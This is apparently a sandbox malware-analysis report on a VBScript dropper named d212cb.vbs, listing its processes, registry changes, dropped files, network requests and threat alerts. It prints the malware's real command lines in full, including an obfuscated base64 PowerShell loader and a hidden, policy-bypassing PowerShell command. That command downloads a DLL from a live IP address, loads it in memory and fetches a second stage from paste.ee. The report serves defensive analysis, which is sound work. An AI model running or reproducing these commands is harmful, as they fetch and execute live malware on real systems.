| File name: | d212cb.vbs |
| Full analysis: | https://app.any.run/tasks/dae379ab-d861-424b-a16e-d21e0ea921de |
| Verdict: | Malicious activity |
| Analysis date: | April 26, 2023, 20:58:51 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | text/plain |
| File info: | Little-endian UTF-16 Unicode text, with very long lines, with CRLF line terminators |
| MD5: | B5910C4E533D2123AF7AC3D4C3F086CB |
| SHA1: | 6DE5B0DB247638996DDAAA398BE7B2C1A5BCF660 |
| SHA256: | E6B0E18DE6BE54F71AA356CA5F6D36B990ACDAF608E9140E3F172D61809D8A0C |
| SSDEEP: | 6144:vWkHWkXWkHWk3WkHWkCWkHWkxWkHWk0WkHWknWkHWk8WkHWkDWkHWkEWkHWkkWkL:0 |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 3676)
- powershell.exe (PID: 116)
- powershell.exe (PID: 844)
SUSPICIOUS
Reads the Internet Settings
- wscript.exe (PID: 1348)
- powershell.exe (PID: 844)
Base64-obfuscated command line is found
- wscript.exe (PID: 1348)
The process bypasses the loading of PowerShell profile settings
- wscript.exe (PID: 1348)
- powershell.exe (PID: 116)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 1348)
- powershell.exe (PID: 116)
Probably obfuscated PowerShell command line is found
- wscript.exe (PID: 1348)
Application launched itself
- powershell.exe (PID: 116)
Probably download files using WebClient
- powershell.exe (PID: 116)
Connects to the server without a host name
- powershell.exe (PID: 844)
The Powershell connects to the Internet
- powershell.exe (PID: 844)
Unusual connection from system programs
- powershell.exe (PID: 844)
INFO
Create files in a temporary directory
- powershell.exe (PID: 3676)
- powershell.exe (PID: 116)
- powershell.exe (PID: 844)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .txt | | | Text - UTF-16 (LE) encoded (66.6) |
|---|---|---|
| .mp3 | | | MP3 audio (33.3) |
Total processes
41
Monitored processes
4
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 116 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAaoUWkAIAA9ACAAJwBaoUWAGkAcQBaoUWACcAOwBbAEIAeQB0AGUAWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AaoUWMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAaoUWMAZQA2ADQAUwB0AaoUWIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAaoUWQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AaoUWIAaQBuAGcAKAAnAGgAdAB0AaoUWAAOgAvAC8ANQAuADQAMgAuADEAOQA5AC4AMgAzADUALwBkAGwAbAAvAGQAbABsADMALgB0AaoUWgAdAAnACkAKQA7AFsAcwB5AaoUWMAdABlAG0ALgBBAaoUWAAcABEAG8AbQBhAGkAbgBdADoAOgBDAaoUWUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAGUAKAAnAEMAZABXAEQAZABCAC4ARABLAGUAUwB2AGwAJwApAC4ARwBlAaoUWQATQBlAaoUWQAaABvAGQAKAAnAE4AbgBJAGEAVQBxACcAKQAuAEkAbgB2AG8AawBlACgAJABuAaoUWUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAKAAnADAALwBpAEUANwBqAE4ALwBkAC8AZQBlAC4AZQB0AaoUWMAYQBwAC8ALwA6AaoUWMAcAB0AaoUWQAaAAnACAALAAgACQAUgBvAGQAYQBDAG8AcAB5ACAALAAgACcARQBZAGoAQwAnACwAIAAnADAAJwAsACAAJwAxACcALAAgACcAJwAgACkAKQA=';$pvNxls = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('aoUW','H') ) );$pvNxls = $pvNxls.replace('GiqG', 'C:\Users\admin\AppData\Local\Temp\d212cb.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $pvNxls | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | wscript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 844 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\admin\AppData\Local\Temp\d212cb.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://5.42.199.235/dll/dll3.txt'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('CdWDdB.DKeSvl').GetMethod('NnIaUq').Invoke($null, [object[]] ('0/iE7jN/d/ee.etsap//:sptth' , $RodaCopy , 'EYjC', '0', '1', '' ))" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 1348 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\d212cb.vbs" | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 3676 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Debug.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | wscript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
Total events
9 548
Read events
9 504
Write events
44
Delete events
0
Modification events
| (PID) Process: | (1348) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (1348) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (1348) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (1348) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (844) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\16D\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
Executable files
0
Suspicious files
14
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3676 | powershell.exe | C:\Users\admin\AppData\Local\Temp\habzhg5o.gio.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 116 | powershell.exe | C:\Users\admin\AppData\Local\Temp\yle3nrti.rcx.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 3676 | powershell.exe | C:\Users\admin\AppData\Local\Temp\x3l0aucq.udv.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 3676 | powershell.exe | C:\Windows\Temp\Debug.vbs | text | |
MD5:B5910C4E533D2123AF7AC3D4C3F086CB | SHA256:E6B0E18DE6BE54F71AA356CA5F6D36B990ACDAF608E9140E3F172D61809D8A0C | |||
| 116 | powershell.exe | C:\Users\admin\AppData\Local\Temp\ixpg0ddr.lzh.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 3676 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | dbf | |
MD5:446DD1CF97EABA21CF14D03AEBC79F27 | SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF | |||
| 844 | powershell.exe | C:\Users\admin\AppData\Local\Temp\dymruh0b.05z.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 844 | powershell.exe | C:\Users\admin\AppData\Local\Temp\5rirbgvo.bje.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
4
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
844 | powershell.exe | GET | 200 | 5.42.199.235:80 | http://5.42.199.235/pe/Rudepe.txt | RU | text | 55.6 Kb | malicious |
844 | powershell.exe | GET | 200 | 5.42.199.235:80 | http://5.42.199.235/dll/dll3.txt | RU | text | 13.3 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
844 | powershell.exe | 104.21.84.67:443 | paste.ee | CLOUDFLARENET | — | suspicious |
844 | powershell.exe | 5.42.199.235:80 | — | IT Resheniya LLC | RU | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
paste.ee |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
844 | powershell.exe | Misc Attack | ET DROP Spamhaus DROP Listed Traffic Inbound group 1 |
844 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY Pastebin-style Service (paste .ee) in TLS SNI |
2 ETPRO signatures available at the full report